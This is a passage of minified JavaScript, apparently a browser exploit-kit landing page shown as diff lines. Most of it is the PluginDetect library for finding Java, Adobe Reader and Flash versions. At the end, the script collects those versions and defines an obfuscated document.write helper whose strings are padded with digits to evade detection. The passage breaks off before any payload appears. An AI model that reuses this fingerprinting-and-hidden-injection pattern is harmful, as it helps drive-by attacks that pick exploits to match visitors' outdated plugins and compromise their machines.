- mimeType_dummy: "application/dummymimejavaapplet",
- classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
- classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
- navigator: {
- $: 1,
- init: function () {
- var d = this,
- b = d.$,
- a = d.$$,
- c;
- try {
- d.a = window.navigator.javaEnabled()
- } catch (c) {};
- d.mimeObj = b.hasMimeType(a.mimeType);
- if (d.mimeObj) {
- d.pluginObj = d.mimeObj.enabledPlugin
- }
- },
- a: !0,
- javaEnabled: function () {
- return this.a
- },
- mimeObj: 0,
- pluginObj: 0
- },
- OTF: null,
- getVerifyTagsDefault: function () {
- return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
- },
- getVersion: function (j, g, i) {
- var b = this,
- d = b.$,
- e, a = b.applet,
- h = b.verify,
- k = b.navigator,
- f = null,
- l = null,
- c = null;
- if (b.getVersionDone === null) {
- b.OTF = 0;
- k.init();
- if (h) {
- h.init()
- }
- }
- a.setVerifyTagsArray(i);
- d.file.save(b, ".jar", g);
- if (b.getVersionDone === 0) {
- if (a.should_Insert_Query_Any()) {
- e = a.insert_Query_Any(j);
- b.setPluginStatus(e[0], e[1], f, j)
- }
- return
- }
- if ((!f || d.dbug) && b.navMime.query().version) {
- f = b.navMime.version
- }
- if ((!f || d.dbug) && b.navPlugin.query().version) {
- f = b.navPlugin.version
- }
- if ((!f || d.dbug) && b.DTK.query().version) {
- f = b.DTK.version
- }
- if (b.nonAppletDetectionOk(f)) {
- c = f
- }
- b.setPluginStatus(c, l, f, j);
- if (a.should_Insert_Query_Any()) {
- e = a.insert_Query_Any(j);
- if (e[0]) {
- c = e[0];
- l = e[1]
- }
- }
- b.setPluginStatus(c, l, f, j)
- },
- nonAppletDetectionOk: function (b) {
- var d = this,
- e = d.$,
- a = d.navigator,
- c = 1;
- if (!b || !a.javaEnabled() || (!e.browser.isIE && !a.mimeObj) || (e.browser.isIE && !e.browser.ActiveXEnabled)) {
- c = 0
- } else {
- if (e.OS >= 20) {} else {
- if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
- c = 0
- }
- }
- }
- return c
- },
- setPluginStatus: function (d, i, g, h) {
- var b = this,
- e = b.$,
- f, c = 0,
- a = b.applet;
- g = g || b.version0;
- f = a.isRange(d);
- if (f) {
- if (a.setRange(f, h) == d) {
- c = f
- }
- d = 0
- }
- if (b.OTF < 3) {
- b.installed = c ? (c > 0 ? 0.7 : -0.1) : (d ? 1 : (g ? -0.2 : -1))
- }
- if (b.OTF == 2 && b.NOTF && !b.applet.getResult()[0]) {
- b.installed = g ? -0.2 : -1
- }
- if (b.OTF == 3 && b.installed != -0.5 && b.installed != 0.5) {
- b.installed = (b.NOTF.isJavaActive(1) >= 1 ? 0.5 : -0.5)
- }
- if (b.OTF == 4 && (b.installed == -0.5 || b.installed == 0.5)) {
- if (d) {
- b.installed = 1
- } else {
- if (c) {
- b.installed = c > 0 ? 0.7 : -0.1
- } else {
- if (b.NOTF.isJavaActive(1) >= 1) {
- if (g) {
- b.installed = 1;
- d = g
- } else {
- b.installed = 0
- }
- } else {
- if (g) {
- b.installed = -0.2
- } else {
- b.installed = -1
- }
- }
- }
- }
- }
- if (g) {
- b.version0 = e.formatNum(e.getNum(g))
- }
- if (d && !c) {
- b.version = e.formatNum(e.getNum(d))
- }
- if (i && e.isString(i)) {
- b.vendor = i
- }
- if (!b.vendor) {
- b.vendor = ""
- }
- if (b.verify && b.verify.isEnabled()) {
- b.getVersionDone = 0
- } else {
- if (b.getVersionDone != 1) {
- if (b.OTF < 2) {
- b.getVersionDone = 0
- } else {
- b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
- }
- }
- };
- e.codebase.emptyGarbage()
- },
- DTK: {
- $: 1,
- hasRun: 0,
- status: null,
- VERSIONS: [],
- version: "",
- HTML: null,
- Plugin2Status: null,
- classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
- mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
- isDisabled: function (a) {
- var c = this,
- d = c.$,
- b = d.browser;
- if (c.HTML) {
- return 1
- }
- if (a || d.dbug) {
- return 0
- }
- if (c.hasRun || !d.DOM.isEnabled.objectTagUsingActiveX()) {
- return 1
- }
- return 0
- },
- query: function (n) {
- var l = this,
- h = l.$,
- f = l.$$,
- k, m, i, a = h.DOM.altHTML,
- g = {}, b, d = null,
- j = null,
- c = l.isDisabled(n);
- l.hasRun = 1;
- if (c) {
- return l
- }
- l.status = 0;
- if (h.DOM.isEnabled.objectTagUsingActiveX()) {
- for (m = 0; m < l.classID.length; m++) {
- l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
- d = l.HTML.obj();
- if (h.getPROP(d, "jvms")) {
- break
- }
- }
- } else {
- i = h.hasMimeType(l.mimeType);
- if (i && i.type) {
- l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
- d = l.HTML.obj()
- }
- } if (d) {
- try {
- b = h.getPROP(d, "jvms");
- if (b) {
- j = b.getLength();
- if (h.isNum(j)) {
- l.status = j > 0 ? 1 : -1;
- for (m = 0; m < j; m++) {
- i = h.getNum(b.get(j - 1 - m).version);
- if (i) {
- l.VERSIONS.push(i);
- g["a" + h.formatNum(i)] = 1
- }
- }
- }
- }
- } catch (k) {}
- if (l.VERSIONS.length) {
- l.version = h.formatNum(l.VERSIONS[0])
- }
- };
- return l
- }
- },
- navMime: {
- $: 1,
- hasRun: 0,
- mimetype: "",
- version: "",
- mimeObj: 0,
- pluginObj: 0,
- regexJPI: /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
- isDisabled: function () {
- var a = this,
- c = a.$,
- b = a.$$;
- if (a.hasRun || !b.navigator.mimeObj) {
- return 1
- }
- return 0
- },
- update: function (e) {
- var a = this,
- c = a.$,
- d = e ? e.enabledPlugin : 0,
- b = e && a.regexJPI.test(e.type || "") ? c.formatNum(c.getNum(RegExp.$1)) : 0;
- if (b && d && (d.description || d.name)) {
- if (c.compareNums(b, a.version || c.formatNum("0")) > 0) {
- a.version = b;
- a.mimeObj = e;
- a.pluginObj = d;
- a.mimetype = e.type
- }
- }
- },
- query: function () {
- var g = this,
- f = g.$,
- d = g.$$,
- j, i, h, m, l, k, c, b = navigator.mimeTypes,
- a = g.isDisabled();
- g.hasRun = 1;
- if (a) {
- return g
- };
- c = b.length;
- if (f.isNum(c)) {
- for (j = 0; j < c; j++) {
- m = 0;
- try {
- m = b[j]
- } catch (h) {}
- g.update(m)
- }
- }
- if (!g.version || f.dbug) {
- k = f.isArray(d.mimeType) ? d.mimeType : [d.mimeType];
- for (j = 0; j < k.length; j++) {
- m = 0;
- try {
- m = b[k[j]]
- } catch (h) {}
- l = m ? m.enabledPlugin : 0;
- c = l ? l.length : null;
- if (f.isNum(c)) {
- for (i = 0; i < c; i++) {
- m = 0;
- try {
- m = l[i]
- } catch (h) {}
- g.update(m)
- }
- }
- }
- };
- return g
- }
- },
- navPlugin: {
- $: 1,
- hasRun: 0,
- version: "",
- getPlatformNum: function () {
- var e = this,
- d = e.$,
- b = e.$$,
- a = 0,
- c = /Java.*TM.*Platform[^\d]*(\d+)[\.,_]?(\d*)\s*U?(?:pdate)?\s*(\d*)/i,
- f = d.findNavPlugin({
- find: c,
- mimes: b.mimeType,
- plugins: 1
- });
- if (f && (c.test(f.name || "") || c.test(f.description || "")) && parseInt(RegExp.$1, 10) >= 5) {
- a = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
- }
- return a
- },
- getPluginNum: function () {
- var i = this,
- c = i.$,
- b = i.$$,
- j = 0,
- d, h, g, e, f, a = 0;
- e = /Java[^\d]*Plug-in/i;
- f = c.findNavPlugin({
- find: e,
- num: 1,
- mimes: b.mimeType,
- plugins: 1,
- dbug: a
- });
- if (f) {
- h = i.checkPluginNum(f.description, e);
- g = i.checkPluginNum(f.name, e);
- j = h && g ? (c.compareNums(h, g) > 0 ? h : g) : (h || g)
- }
- if (!j) {
- e = /Java.*\d.*Plug-in/i;
- f = c.findNavPlugin({
- find: e,
- mimes: b.mimeType,
- plugins: 1,
- dbug: a
- });
- if (f) {
- h = i.checkPluginNum(f.description, e);
- g = i.checkPluginNum(f.name, e);
- j = h && g ? (c.compareNums(h, g) > 0 ? h : g) : (h || g)
- }
- };
- return j
- },
- checkPluginNum: function (f, c) {
- var e = this,
- d = e.$,
- a, b;
- a = c.test(f) ? d.formatNum(d.getNum(f)) : 0;
- if (a && d.compareNums(a, d.formatNum("10")) >= 0) {
- b = a.split(d.splitNumRegx);
- a = d.formatNum("1," + (parseInt(b[0], 10) - 3) + ",0," + b[1])
- }
- if (a && (d.compareNums(a, d.formatNum("1,3")) < 0 || d.compareNums(a, d.formatNum("2")) >= 0)) {
- a = 0
- }
- return a
- },
- query: function () {
- var f = this,
- e = f.$,
- d = f.$$,
- c, a = 0,
- b = f.hasRun || !d.navigator.mimeObj;
- f.hasRun = 1;
- if (b) {
- return f
- };
- if (!a || e.dbug) {
- c = f.getPlatformNum();
- if (c) {
- a = c
- }
- }
- if (!a || e.dbug) {
- c = f.getPluginNum();
- if (c) {
- a = c
- }
- }
- if (a) {
- f.version = e.formatNum(a)
- };
- return f
- }
- },
- applet: {
- $: 1,
- codebase: {
- $: 1,
- isMin: function (a) {
- return this.$.codebase.isMin(this, a)
- },
- search: function () {
- return this.$.codebase.search(this)
- },
- DIGITMAX: [
- [16, 64],
- [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1],
- [1, 4, 0, 64],
- [1, 3, 2, 32]
- ],
- DIGITMIN: [1, 0, 0, 0],
- Upper: ["999", "10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"],
- Lower: ["10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"],
- convert: [
- function (b, a) {
- return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3], "0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
- },
- function (b, a) {
- return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0, b[2].length - 1 || 1)]
- },
- 0,
- function (b, a) {
- return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
- },
- 0, 1,
- function (b, a) {
- return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
- },
- 1
- ]
- },
- results: [
- [null, null],
- [null, null],
- [null, null],
- [null, null]
- ],
- getResult: function () {
- var b = this,
- d = b.results,
- a, c = [];
- for (a = d.length - 1; a >= 0; a--) {
- c = d[a];
- if (c[0]) {
- break
- }
- }
- c = [].concat(c);
- return c
- },
- DummySpanTagHTML: 0,
- HTML: [0, 0, 0, 0],
- active: [0, 0, 0, 0],
- DummyObjTagHTML: 0,
- DummyObjTagHTML2: 0,
- allowed: [1, 1, 1, 1],
- VerifyTagsHas: function (c) {
- var d = this,
- b;
- for (b = 0; b < d.allowed.length; b++) {
- if (d.allowed[b] === c) {
- return 1
- }
- }
- return 0
- },
- saveAsVerifyTagsArray: function (c) {
- var b = this,
- d = b.$,
- a;
- if (d.isArray(c)) {
- for (a = 1; a < b.allowed.length; a++) {
- if (c.length > a - 1 && d.isNum(c[a - 1])) {
- if (c[a - 1] < 0) {
- c[a - 1] = 0
- }
- if (c[a - 1] > 3) {
- c[a - 1] = 3
- }
- b.allowed[a] = c[a - 1]
- }
- }
- b.allowed[0] = b.allowed[3]
- }
- },
- setVerifyTagsArray: function (d) {
- var b = this,
- c = b.$,
- a = b.$$;
- if (a.getVersionDone === null) {
- b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
- }
- if (c.dbug) {
- b.saveAsVerifyTagsArray([3, 3, 3])
- } else {
- if (d) {
- b.saveAsVerifyTagsArray(d)
- }
- }
- },
- isDisabled: {
- $: 1,
- single: function (d) {
- var a = this,
- c = a.$,
- b = a.$$;
- if (a.all()) {
- return 1
- }
- if (d == 0) {
- return c.codebase.isDisabled()
- }
- if (d == 1) {
- return !c.DOM.isEnabled.objectTag()
- }
- if (d == 2) {
- return a.AppletTag()
- }
- if (d == 3) {
- return !c.DOM.isEnabled.objectTagUsingActiveX()
- }
- },
- aA_: null,
- all: function () {
- var c = this,
- f = c.$,
- e = c.$$,
- b = e.navigator,
- a = 0,
- d = f.browser;
- if (c.aA_ === null) {
- if (f.OS >= 20) {
- a = 0
- } else {
- if (d.verOpera && d.verOpera < 11 && !b.javaEnabled()) {
- a = 1
- } else {
- if ((d.verGecko && f.compareNums(d.verGecko, f.formatNum("2")) < 0) && !b.mimeObj) {
- a = 1
- } else {
- if (c.AppletTag() && !f.DOM.isEnabled.objectTag()) {
- a = 1
- }
- }
- }
- };
- c.aA_ = a
- }
- return c.aA_
- },
- AppletTag: function () {
- var b = this,
- d = b.$,
- c = b.$$,
- a = c.navigator;
- return d.browser.isIE ? !a.javaEnabled() : 0
- },
- VerifyTagsDefault_1: function () {
- var b = this.$,
- a = b.browser;
- if (b.OS >= 20) {
- return 1
- }
- if ((a.isIE && (a.verIE < 9 || !a.ActiveXEnabled)) || (a.verGecko && b.compareNums(a.verGecko, b.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari || b.compareNums(a.verSafari, b.formatNum("4")) < 0)) || (a.verOpera && a.verOpera < 10)) {
- return 0
- }
- return 1
- },
- z: 0
- },
- can_Insert_Query: function (d) {
- var b = this,
- c = b.results[0][0],
- a = b.getResult()[0];
- if (b.HTML[d] || (d == 0 && c !== null && !b.isRange(c)) || (d == 0 && a && !b.isRange(a))) {
- return 0
- }
- return !b.isDisabled.single(d)
- },
- can_Insert_Query_Any: function () {
- var b = this,
- a;
- for (a = 0; a < b.results.length; a++) {
- if (b.can_Insert_Query(a)) {
- return 1
- }
- }
- return 0
- },
- should_Insert_Query: function (e) {
- var c = this,
- f = c.allowed,
- d = c.$,
- b = c.$$,
- a = c.getResult()[0];
- a = a && (e > 0 || !c.isRange(a));
- if (!c.can_Insert_Query(e) || f[e] === 0) {
- return 0
- }
- if (f[e] == 3 || (f[e] == 2.8 && !a)) {
- return 1
- }
- if (!b.nonAppletDetectionOk(b.version0)) {
- if (f[e] == 2 || (f[e] == 1 && !a)) {
- return 1
- }
- }
- return 0
- },
- should_Insert_Query_Any: function () {
- var b = this,
- a;
- for (a = 0; a < b.allowed.length; a++) {
- if (b.should_Insert_Query(a)) {
- return 1
- }
- }
- return 0
- },
- query: function (f) {
- var j, a = this,
- i = a.$,
- d = a.$$,
- k = null,
- l = null,
- b = a.results,
- c, h, g = a.HTML[f];
- if (!g || !g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)) {
- return
- }
- c = g.obj();
- h = g.readyState();
- if (1) {
- try {
- k = i.getNum(c.getVersion() + "");
- l = c.getVendor() + "";
- c.statusbar(i.win.loaded ? " " : " ")
- } catch (j) {};
- if (k && i.isStrNum(k)) {
- b[f] = [k, l];
- a.active[f] = 2
- }
- }
- },
- isRange: function (a) {
- return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 : -1) : 0
- },
- setRange: function (b, a) {
- return (b ? (b > 0 ? ">" : "<") : "") + (this.$.isString(a) ? a : "")
- },
- insertJavaTag: function (g, n, h, o, m) {
- var e = this,
- c = e.$,
- k = e.$$,
- r = "A.class",
- b = c.file.getValid(k),
- f = b.name + b.ext,
- q = b.path;
- var i = ["archive", f, "code", r],
- l = (o ? ["width", o] : []).concat(m ? ["height", m] : []),
- j = ["mayscript", "true"],
- p = ["scriptable", "true", "codebase_lookup", "false"].concat(j),
- a = k.navigator,
- d = !c.browser.isIE && a.mimeObj && a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
- if (g == 1) {
- return c.browser.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n)
- }
- if (g == 2) {
- return c.browser.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase", q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
- }
- if (g == 3) {
- return c.browser.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
- }
- if (g == 4) {
- return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).concat(p).concat(l), [], h, k, 0, n)
- }
- },
- insert_Query_Any: function (h) {
- var b = this,
- d = b.$,
- c = b.$$,
- f = b.results,
- i = b.HTML,
- a = d.DOM.altHTML,
- e, g = d.file.getValid(c);
- if (b.should_Insert_Query(0)) {
- if (c.OTF < 2) {
- c.OTF = 2
- };
- f[0] = [0, 0];
- e = h ? b.codebase.isMin(h) : b.codebase.search();
- if (e) {
- f[0][0] = h ? b.setRange(e, h) : e
- }
- b.active[0] = e ? 1.5 : -1
- }
- if (!g) {
- return b.getResult()
- }
- if (!b.DummySpanTagHTML) {
- b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
- }
- if (b.should_Insert_Query(1)) {
- if (c.OTF < 2) {
- c.OTF = 2
- };
- i[1] = b.insertJavaTag(1, 0, a);
- f[1] = [0, 0];
- b.query(1)
- }
- if (b.should_Insert_Query(2)) {
- if (c.OTF < 2) {
- c.OTF = 2
- };
- i[2] = b.insertJavaTag(2, 0, a);
- f[2] = [0, 0];
- b.query(2)
- }
- if (b.should_Insert_Query(3)) {
- if (c.OTF < 2) {
- c.OTF = 2
- };
- i[3] = b.insertJavaTag(3, 0, a);
- f[3] = [0, 0];
- b.query(3)
- }
- if (d.DOM.isEnabled.objectTag()) {
- if (!b.DummyObjTagHTML && (i[1] || i[2])) {
- b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a)
- }
- if (!b.DummyObjTagHTML2 && i[3]) {
- b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], [], a)
- }
- }
- c.NOTF.init();
- return b.getResult()
- }
- },
- NOTF: {
- $: 1,
- count: 0,
- countMax: 25,
- intervalLength: 250,
- init: function () {
- var c = this,
- b = c.$,
- a = c.$$;
- if (a.OTF < 3 && c.shouldContinueQuery()) {
- a.OTF = 3;
- c.onIntervalQuery = b.ev.handler(c.$$onIntervalQuery, c);
- if (!b.win.loaded) {
- b.win.loadPrvtHndlrs.push([c.onWinLoadQuery, c])
- }
- setTimeout(c.onIntervalQuery, c.intervalLength)
- }
- },
- shouldContinueQuery: function () {
- var f = this,
- e = f.$,
- c = f.$$,
- b = c.applet,
- a, d = 0;
- if (e.win.loaded && f.count > f.countMax) {
- return 0
- }
- for (a = 0; a < b.results.length; a++) {
- if (b.HTML[a]) {
- if (!e.win.loaded && f.count > f.countMax && e.codebase.pluginMayBeHanging(b.HTML[a].span)) {
- d = 1;
- b.HTML[a].DELETE = 1
- }
- if (!d && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && f.isAppletActive(a) >= 0) {
- return 1
- }
- }
- };
- return 0
- },
- isJavaActive: function (d) {
- var f = this,
- c = f.$$,
- a, b, e = -9;
- for (a = 0; a < c.applet.HTML.length; a++) {
- b = f.isAppletActive(a, d);
- if (b > e) {
- e = b
- }
- }
- return e
- },
- isAppletActive: function (e, g) {
- var h = this,
- f = h.$,
- b = h.$$,
- l = b.navigator,
- a = b.applet,
- i = a.HTML[e],
- d = a.active,
- k, c = 0,
- j, m = d[e];
- if (g || m >= 1.5 || !i || !i.span) {
- return m
- };
- j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.DummyObjTagHTML2, h.count);
- for (k = 0; k < d.length; k++) {
- if (d[k] > 0) {
- c = 1
- }
- }
- if (j != 1) {
- m = j
- } else {
- if (f.browser.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName == "object" || c))) {
- m = 1
- } else {
- m = 0
- }
- }
- d[e] = m;
- return m
- },
- onWinLoadQuery: function (c, d) {
- var b = d.$$,
- a;
- if (b.OTF == 3) {
- a = d.queryAllApplets();
- d.queryCompleted(a)
- }
- },
- $$onIntervalQuery: function (d) {
- var c = d.$,
- b = d.$$,
- a;
- if (b.OTF == 3) {
- a = d.queryAllApplets();
- if (!d.shouldContinueQuery()) {
- d.queryCompleted(a)
- }
- }
- d.count++;
- if (b.OTF == 3) {
- setTimeout(d.onIntervalQuery, d.intervalLength)
- }
- },
- queryAllApplets: function () {
- var f = this,
- e = f.$,
- d = f.$$,
- c = d.applet,
- b, a;
- for (b = 0; b < c.results.length; b++) {
- c.query(b)
- }
- a = c.getResult();
- return a
- },
- queryCompleted: function (c) {
- var g = this,
- f = g.$,
- e = g.$$,
- d = e.applet,
- b;
- if (e.OTF >= 4) {
- return
- }
- e.OTF = 4;
- var a = g.isJavaActive();
- for (b = 0; b < d.HTML.length; b++) {
- if (d.HTML[b] && d.HTML[b].DELETE) {
- f.DOM.emptyNode(d.HTML[b].span);
- d.HTML[b].span = null
- }
- }
- e.setPluginStatus(c[0], c[1], 0);
- if (f.onDetectionDone && e.DoneHndlrs) {
- f.ev.callArray(e.DoneHndlrs)
- }
- }
- },
- zz: 0
- },
- flash: {
- $: 1,
- mimeType: "application/x-shockwave-flash",
- setPluginStatus: function (c, a) {
- var b = this,
- d = b.$;
- b.installed = a ? 1 : (c ? 0 : -1);
- b.version = d.formatNum(a);
- b.getVersionDone = b.installed == -1 || b.axo.version || b.instance.version ? 1 : 0
- },
- getVersion: function (f, b) {
- var c = this,
- e = c.$,
- a = null,
- d = 0;
- if ((!d || e.dbug) && c.navPlugin.query().installed) {
- d = 1
- }
- if ((!a || e.dbug) && c.navPlugin.query().version) {
- a = c.navPlugin.version
- }
- if ((!d || e.dbug) && c.axo.query().installed) {
- d = 1
- }
- if ((!a || e.dbug) && c.axo.query().version) {
- a = c.axo.version
- };
- if (((!d && !a) || b || e.dbug) && c.instance.query().version) {
- d = 1;
- a = c.instance.version
- }
- c.setPluginStatus(d, a)
- },
- navPlugin: {
- $: 1,
- hasRun: 0,
- installed: 0,
- version: null,
- getNum: function (b) {
- if (!b) {
- return null
- }
- var a = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(b);
- return a ? a[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
- },
- query: function () {
- var e = this,
- d = e.$,
- b = e.$$,
- a, f, c = e.hasRun || !d.hasMimeType(b.mimeType);
- e.hasRun = 1;
- if (c) {
- return e
- };
- f = d.findNavPlugin({
- find: "Shockwave.*Flash",
- mimes: b.mimeType,
- plugins: ["Shockwave Flash"]
- });
- if (f) {
- e.installed = 1;
- if (f.description) {
- a = e.getNum(f.description)
- }
- }
- if (a) {
- a = d.getPluginFileVersion(f, a)
- }
- if (a) {
- e.version = a
- };
- return e
- }
- },
- axo: {
- $: 1,
- hasRun: 0,
- installed: 0,
- version: null,
- progID: "ShockwaveFlash.ShockwaveFlash",
- classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
- query: function () {
- var d = this,
- g = d.$,
- c = d.$$,
- b, a, i, h, f = d.hasRun;
- d.hasRun = 1;
- if (f) {
- return d
- };
- for (a = 0; a < 10; a++) {
- i = g.getAXO(d.progID + (a ? "." + a : ""));
- if (i) {
- d.installed = 1;
- b = 0;
- try {
- b = g.getNum(i.GetVariable("$version") + "")
- } catch (h) {}
- if (b) {
- d.version = b;
- if (!g.dbug) {
- break
- }
- }
- }
- };
- return d
- }
- },
- instance: {
- $: 1,
- hasRun: 0,
- version: null,
- HTML: null,
- isEnabled: function () {
- var b = this,
- d = b.$,
- c = b.$$,
- a = 1;
- if (b.hasRun || d.DOM.isEnabled.objectTagUsingActiveX() || !d.hasMimeType(c.mimeType)) {
- a = 0
- }
- return a
- },
- query: function () {
- var a = this,
- f = a.$,
- d = a.$$,
- b, g, c = a.isEnabled();
- a.hasRun = 1;
- if (c) {
- a.HTML = f.DOM.insert("object", ["type", d.mimeType], ["play", "false", "menu", "false"], "", d);
- try {
- a.version = f.getNum(a.HTML.obj().GetVariable("$version") + "")
- } catch (g) {}
- }
- return a
- }
- }
- },
- adobereader: {
- $: 1,
- setPluginStatus: function () {
- var e = this,
- c = e.$,
- b = e.nav.detected,
- a = e.nav.version,
- g = e.axo.detected,
- d = e.axo.version,
- i = e.doc.detected,
- h = e.doc.version,
- f = a || d || h || null;
- e.installed = f ? 1 : (b > 0 || g > 0 || i > 0 ? 0 : (i == -0.5 ? -0.15 : (c.browser.isIE && (!c.browser.ActiveXEnabled || c.browser.ActiveXFilteringEnabled) ? -1.5 : -1)));
- e.version = c.formatNum(f)
- },
- getVersion: function (c, e) {
- var a = this,
- d = a.$,
- b = 0;
- if ((!b || d.dbug) && a.nav.query().detected > 0) {
- b = 1
- }
- if ((!b || d.dbug) && a.axo.query().detected > 0) {
- b = 1
- }
- if ((!b || d.dbug) && (a.doc.query().detected > 0 || a.doc.detected == -0.5)) {
- b = 1
- }
- a.setPluginStatus()
- },
- nav: {
- $: 1,
- detected: 0,
- version: null,
- mimeType: ["application/pdf", "application/vnd.adobe.pdfxml"],
- find: "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",
- plugins: ["Adobe Acrobat", "Adobe Acrobat and Reader Plug-in", "Adobe Reader Plugin"],
- query: function () {
- var e = this,
- c = e.$,
- a = e.$$,
- d, b = null;
- if (e.detected || !c.hasMimeType(e.mimeType)) {
- return e
- };
- d = c.findNavPlugin({
- find: e.find,
- mimes: e.mimeType,
- plugins: e.plugins
- });
- e.detected = d ? 1 : -1;
- if (d) {
- b = c.getNum(d.description) || c.getNum(d.name);
- b = c.getPluginFileVersion(d, b);
- if (!b) {
- b = e.attempt3()
- };
- if (b) {
- e.version = b
- }
- };
- return e
- },
- attempt3: function () {
- var c = this,
- b = c.$,
- a = null;
- if (b.OS == 1) {
- if (b.hasMimeType("application/vnd.adobe.pdfxml")) {
- a = "9"
- } else {
- if (b.hasMimeType("application/vnd.adobe.x-mars")) {
- a = "8"
- } else {
- if (b.hasMimeType("application/vnd.adobe.xfdf")) {
- a = "6"
- }
- }
- }
- }
- return a
- }
- },
- pluginQuery: function (j) {
- var f = this,
- d = f.$,
- b = "",
- h = null,
- g, a, i, c;
- try {
- if (j) {
- b = j.GetVersions()
- }
- } catch (g) {}
- if (b && d.isString(b)) {
- a = /=\s*([\d\.]+)/g;
- for (i = 0; i < 30; i++) {
- if (a.test(b)) {
- c = d.formatNum(RegExp.$1);
- if (!h || d.compareNums(c > h) > 0) {
- h = c
- }
- } else {
- break
- }
- }
- }
- return h
- },
- axo: {
- $: 1,
- detected: 0,
- version: null,
- progID: ["AcroPDF.PDF", "AcroPDF.PDF.1", "PDF.PdfCtrl", "PDF.PdfCtrl.5", "PDF.PdfCtrl.1"],
- query: function () {
- var d = this,
- e = d.$,
- b = d.$$,
- f, c = null,
- a;
- if (d.detected) {
- return d
- };
- d.detected = -1;
- for (a = 0; a < d.progID.length; a++) {
- f = e.getAXO(d.progID[a]);
- if (f) {
- d.detected = 1;
- c = b.pluginQuery(f);
- if (!e.dbug && c) {
- break
- }
- }
- }
- if (c) {
- d.version = c
- };
- return d
- }
- },
- doc: {
- $: 1,
- detected: 0,
- version: null,
- classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
- classID_dummy: "clsid:CA8A9780-280D-11CF-A24D-BA9876543210",
- DummySpanTagHTML: 0,
- HTML: 0,
- DummyObjTagHTML1: 0,
- DummyObjTagHTML2: 0,
- isDisabled: function () {
- var c = this,
- b = c.$,
- a = 0;
- if (c.HTML) {
- a = 1
- } else {
- if (b.dbug) {} else {
- if (!b.DOM.isEnabled.objectTagUsingActiveX()) {
- a = 1
- }
- }
- }
- return a
- },
- query: function () {
- var i = this,
- d = i.$,
- f = i.$$,
- h = null,
- a = d.DOM.altHTML,
- g = null,
- c = 1,
- e = 1,
- b;
- if (i.isDisabled()) {
- return i
- };
- if (!i.DummySpanTagHTML) {
- i.DummySpanTagHTML = d.DOM.insert("", [], [], a, f, e)
- }
- if (!i.HTML) {
- i.HTML = d.DOM.insert("object", ["classid", i.classID], [], a, f, e)
- }
- if (!i.DummyObjTagHTML2) {
- i.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", i.classID_dummy], [], a, f, e)
- }
- b = d.DOM.getTagStatus(i.HTML, i.DummySpanTagHTML, i.DummyObjTagHTML1, i.DummyObjTagHTML2, g, c);
- h = f.pluginQuery(i.HTML.obj());
- i.detected = b > 0 || h ? 1 : (b == -0.1 || b == -0.5 ? -0.5 : -1);
- i.version = h ? h : null;
- return i
- }
- }
- },
- zz: 0
- }
- };
- PluginDetect.INIT();
- j_version = PluginDetect.getVersion('Java');
- p_version = PluginDetect.getVersion('AdobeReader');
- f_version = PluginDetect.getVersion('Flash');
- function ffbgrnth5we(a) {
- return this["doc36ume41nt".replace(/[0-9]/g, "")]["wr108ite".replace(/[0-9]/g, "")](a);
- }
- if (j_version != null) {
- j_version = j_version.split(",");
- } else {
- j_version = [0, 0, 0, 0];
- } if (p_version != null) {
- p_version = p_version.split(",");
- } else {
